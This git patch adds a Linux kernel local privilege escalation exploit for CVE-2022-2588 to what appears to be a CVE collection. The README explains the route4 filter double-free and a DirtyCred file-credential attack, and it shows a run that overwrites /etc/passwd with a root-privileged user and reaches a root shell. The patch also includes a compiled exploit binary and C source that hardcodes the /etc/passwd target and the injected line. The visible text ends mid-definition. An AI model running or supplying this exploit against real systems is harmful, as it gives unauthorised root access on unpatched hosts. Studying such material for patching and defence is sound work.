From 68297ded7e7efa767b47ea941aa419b44f9c2da5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=9D=8E=E6=96=87=E6=9D=B0?= Date: Wed, 19 Oct 2022 17:12:39 +0800 Subject: [PATCH] add CVE-2022-2588 --- cve/linux-kernel/2022/CVE-2022-2588/Makefile | 2 + cve/linux-kernel/2022/CVE-2022-2588/README.md | 133 +++ .../2022/CVE-2022-2588/exp_file_credential | Bin 0 -> 37136 bytes .../2022/CVE-2022-2588/exp_file_credential.c | 939 ++++++++++++++++++ cve/linux-kernel/2022/yaml/CVE-2022-2588.yaml | 20 + vulnerability_list.yaml | 1 + 6 files changed, 1095 insertions(+) create mode 100644 cve/linux-kernel/2022/CVE-2022-2588/Makefile create mode 100644 cve/linux-kernel/2022/CVE-2022-2588/README.md create mode 100755 cve/linux-kernel/2022/CVE-2022-2588/exp_file_credential create mode 100644 cve/linux-kernel/2022/CVE-2022-2588/exp_file_credential.c create mode 100644 cve/linux-kernel/2022/yaml/CVE-2022-2588.yaml diff --git a/cve/linux-kernel/2022/CVE-2022-2588/Makefile b/cve/linux-kernel/2022/CVE-2022-2588/Makefile new file mode 100644 index 00000000..7655582b --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-2588/Makefile @@ -0,0 +1,2 @@ +file: + cc -O0 exp_file_credential.c -lpthread -o exp_file_credential \ No newline at end of file diff --git a/cve/linux-kernel/2022/CVE-2022-2588/README.md b/cve/linux-kernel/2022/CVE-2022-2588/README.md new file mode 100644 index 00000000..028d2141 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-2588/README.md @@ -0,0 +1,133 @@ +# CVE-2022-2588 + +# The fix +The bug is fixed in Linux v5.19 by this [commit](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9ad36309e2719a884f946678e0296be10f). + +# The bug + +The bug was introduced in Linux v3.17 by this [commit](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=1109c00547fc66df45b9ff923544be4c1e1bec13) back to 2014. It requires `User Namespaces` to trigger. This bug is very similar to [CVE-2021-3715](https://access.redhat.com/security/cve/cve-2021-3715), which was caused by improper operation on the `route4_filter`'s linked list. More details of CVE-2021-3715 could be found at [the blackhat talk](https://zplin.me/talks/BHEU21_trash_kernel_bug.pdf) (page 16). The following is some brief details of CVE-2022-2588. + +The following shows some important code snippets of function `route4_change` for understanding CVE-2022-2588. + +```c +static int route4_change(...) +{ + ... + f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL); [0] + ... + // if there exists a filter with the same handler, copy some information + if (fold) { [1] + f->id = fold->id; + f->iif = fold->iif; + f->res = fold->res; + f->handle = fold->handle; + + f->tp = fold->tp; + f->bkt = fold->bkt; + new = false; + } + + // initialize the new filter + err = route4_set_parms(net, tp, base, f, handle, head, tb, [2] + tca[TCA_RATE], new, flags, extack); + if (err < 0) + goto errout; + + // insert the new filter to the list + h = from_hash(f->handle >> 16); [3] + fp = &f->bkt->ht[h]; + for (pfp = rtnl_dereference(*fp); + (f1 = rtnl_dereference(*fp)) != NULL; + fp = &f1->next) + if (f->handle < f1->handle) + break; + + tcf_block_netif_keep_dst(tp->chain->block); + rcu_assign_pointer(f->next, f1); + rcu_assign_pointer(*fp, f); + + // remove fold filter from the list if fold exists + if (fold && fold->handle && f->handle != fold->handle) { [4] + th = to_hash(fold->handle); + h = from_hash(fold->handle >> 16); + b = rtnl_dereference(head->table[th]); + if (b) { + fp = &b->ht[h]; + for (pfp = rtnl_dereference(*fp); pfp; + fp = &pfp->next, pfp = rtnl_dereference(*fp)) { + if (pfp == fold) { + rcu_assign_pointer(*fp, fold->next); [5]// remove the old from the linked list + break; + } + } + } + } +... + // free the fold filter if it exists [6] + if (fold) { + tcf_unbind_filter(tp, &fold->res); + tcf_exts_get_net(&fold->exts); + tcf_queue_work(&fold->rwork, route4_delete_filter_work); + } +``` + +The function is implemented to initialize/replace `route4_filter` object. The filter uses `handle` as an unique id to distinguish between each filter. If there exists a handle that has been initialized before (i.e. the `fold` variable is not null), it will update the filter by removing the old filter and adding a new filter, otherwise, it will just add a new filter. + +In [0], kernel allocate the `route4_filter` object. In [1], if fold is not empty, which means there exists a filter with the same handle, it will copy some information to the new filter and initialize the new filter in [2], then insert the new filter to the list in [3]. If the old filter exists, it gets removed from list in [4] and gets freed in [6]. + +The bug happens in [4], which checks whether there exists an old filter to be removed. The condition ensures that the handle shouldn't be zero and it should match with the new filter's handle. This condition doesn't align with the condition of freeing the filter in [6], which only checks if the old filter exists. Therefore, if users create a filter whose handle is 0, then trigger the replacement of it, the filter will not be unlinked in [4] but gets freed in [6] since their condition isn't the same. + +# The exploitation + +Since this bug is similar to CVE-2021-3715, their primitives are nearly the same. Readers could refer to the [the blackhat talk](https://zplin.me/talks/BHEU21_trash_kernel_bug.pdf) for more detailed description of primitives. This write-up shows the exploitation with the idea of [DirtyCred](https://zplin.me/papers/DirtyCred-BH22-Zhenpeng.pdf). + +Since the freed `fold` is still on the linked list after triggering the bug, we could free the `fold` once again, which eventually will cause a double free on the `route4_filer` object and `route4_filter->exts.action` object if `CONFIG_NET_CLS_ACT` is enabled. + +The exploit codes utilize those two double-free capabilities to demonstrate the attack on [task credentials](https://www.kernel.org/doc/Documentation/security/credentials.txt) (utilizing kmalloc-192 double free, to be coming) and [open file credentials](https://www.kernel.org/doc/Documentation/security/credentials.txt) (utilizing kmalloc-256 double free). + +## Attacking file credential + +Following the idea of [DirtyCred](https://zplin.me/papers/DirtyCred-BH22-Zhenpeng.pdf), the exploit code swaps the file credential after the permission checks, so we could write any content to files with read permission. Ideally, the code could work across all kernel versions affected by the bug. It is noted that in order to make sure the code will work on older kernels where `msg_msg` is isolated in `kmalloc-rcl-*`, the exploit uses a different spray object. + +```bash +[zip@localhost ~]$ ./exp_file +self path /home/zip/./exp_file +prepare done +Old limits -> soft limit= 14096 hard limit= 14096 +starting exploit, num of cores: 32 +defrag done +spray 256 done +freed the filter object +256 freed done +double free done +spraying files +found overlap, id : 257, 1061 +start slow write +closed overlap +got cmd, start spraying /etc/passwd +spray done +write done, spent 1.621078 s +should be after the slow write +succeed +[zip@localhost ~]$ head -n 4 /etc/passwd +user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash +root:x:0:0:root:/root:/bin/bash +bin:x:1:1:bin:/bin:/sbin/nologin +daemon:x:2:2:daemon:/sbin:/sbin/nologin +[zip@localhost ~]$ su user # the password is user +Password: +sh-4.4# id +uid=0(user) gid=0(root) groups=0(root) +``` + +The exploit was written to work on as many distros as possible. It was confirmed to be working on: + +* CentOS 8/Stream (4.18.0-80.el8.x86_64 ~ xxx) +* Debian 11 (5.10.0-8-amd64 ~ xxx) +* Fedora 33 (5.8.15-301.fc33.x86_64 ~ xxx) +* Manjaro 18 (xxx ~ xxx) +* RHEL 8 (4.18.0-80.el8.x86_64 ~ xxx) +* Ubuntu 17 (4.10.0-19-generic ~ xxx) +* Ubuntu 18 (xxx ~ xxx) +* Ubuntu 19 (5.0.0-38-generic ~ xxx) +* Ubuntu 20 (xxx ~ xxx) diff --git a/cve/linux-kernel/2022/CVE-2022-2588/exp_file_credential b/cve/linux-kernel/2022/CVE-2022-2588/exp_file_credential new file mode 100755 index 0000000000000000000000000000000000000000..fffbb70bc26336da865ce1d848ed24092c584d57 GIT binary patch literal 37136 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 m9!A+NB*pLG?E+q=1SCHYyAGy2$ literal 0 HcmV?d00001 diff --git a/cve/linux-kernel/2022/CVE-2022-2588/exp_file_credential.c b/cve/linux-kernel/2022/CVE-2022-2588/exp_file_credential.c new file mode 100644 index 00000000..21760382 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-2588/exp_file_credential.c @@ -0,0 +1,939 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// #define DEBUG + +char *target = "/etc/passwd"; +char *overwrite = + "user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash\n"; +char *global; +char *self_path; +char *content; + +#define PAGE_SIZE 0x1000 +#define MAX_FILE_NUM 0x8000 + +int fds[MAX_FILE_NUM] = {}; +int fd_2[MAX_FILE_NUM] = {}; +int overlap_a = -1; +int overlap_b = -1; + +int cpu_cores = 0; +int sockfd = -1; + +int spray_num_1 = 2000; +int spray_num_2 = 4000; + +// int spray_num_1 = 4000; +// int spray_num_2 = 5000; + +int pipe_main[2]; +int pipe_parent[2]; +int pipe_child[2]; +int pipe_defrag[2]; +int pipe_file_spray[2][2]; + +int run_write = 0; +int run_spray = 0; +char *passwd; +bool overlapped = false; + +void DumpHex(const void *data, size_t size) { +#ifdef DEBUG + char ascii[17]; + size_t i, j; + ascii[16] = '\0'; + for (i = 0; i < size; ++i) { + printf("%02X ", ((unsigned char *)data)[i]); + if (((unsigned char *)data)[i] >= ' ' && + ((unsigned char *)data)[i] <= '~') { + ascii[i % 16] = ((unsigned char *)data)[i]; + } else { + ascii[i % 16] = '.'; + } + if ((i + 1) % 8 == 0 || i + 1 == size) { + printf(" "); + if ((i + 1) % 16 == 0) { + printf("| %s \n", ascii); + } else if (i + 1 == size) { + ascii[(i + 1) % 16] = '\0'; + if ((i + 1) % 16 <= 8) { + printf(" "); + } + for (j = (i + 1) % 16; j < 16; ++j) { + printf(" "); + } + printf("| %s \n", ascii); + } + } + } +#endif +} + +void pin_on_cpu(int cpu) { + cpu_set_t cpu_set; + CPU_ZERO(&cpu_set); + CPU_SET(cpu, &cpu_set); + if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) { + perror("sched_setaffinity()"); + exit(EXIT_FAILURE); + } +} + +static bool write_file(const char *file, const char *what, ...) { + char buf[1024]; + va_list args; + va_start(args, what); + vsnprintf(buf, sizeof(buf), what, args); + va_end(args); + buf[sizeof(buf) - 1] = 0; + int len = strlen(buf); + int fd = open(file, O_WRONLY | O_CLOEXEC); + if (fd == -1) + return false; + if (write(fd, buf, len) != len) { + int err = errno; + close(fd); + errno = err; + return false; + } + close(fd); + return true; +} + +static void use_temporary_dir(void) { + system("rm -rf exp_dir; mkdir exp_dir; touch exp_dir/data"); + system("touch exp_dir/data2"); + char *tmpdir = "exp_dir"; + if (!tmpdir) + exit(1); + if (chmod(tmpdir, 0777)) + exit(1); + if (chdir(tmpdir)) + exit(1); + symlink("./data", "./uaf"); +} + +static void setup_common() { + if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) { + } +} + +static void adjust_rlimit() { + struct rlimit rlim; + rlim.rlim_cur = rlim.rlim_max = (200 << 20); + setrlimit(RLIMIT_AS, &rlim); + rlim.rlim_cur = rlim.rlim_max = 32 << 20; + setrlimit(RLIMIT_MEMLOCK, &rlim); + rlim.rlim_cur = rlim.rlim_max = 136 << 20; + // setrlimit(RLIMIT_FSIZE, &rlim); + rlim.rlim_cur = rlim.rlim_max = 1 << 20; + setrlimit(RLIMIT_STACK, &rlim); + rlim.rlim_cur = rlim.rlim_max = 0; + setrlimit(RLIMIT_CORE, &rlim); + // RLIMIT_FILE + rlim.rlim_cur = rlim.rlim_max = 14096; + if (setrlimit(RLIMIT_NOFILE, &rlim) < 0) { + rlim.rlim_cur = rlim.rlim_max = 4096; + spray_num_1 = 1200; + spray_num_2 = 2800; + if (setrlimit(RLIMIT_NOFILE, &rlim) < 0) { + perror("setrlimit"); + err(1, "setrlimit"); + } + } +} + +void 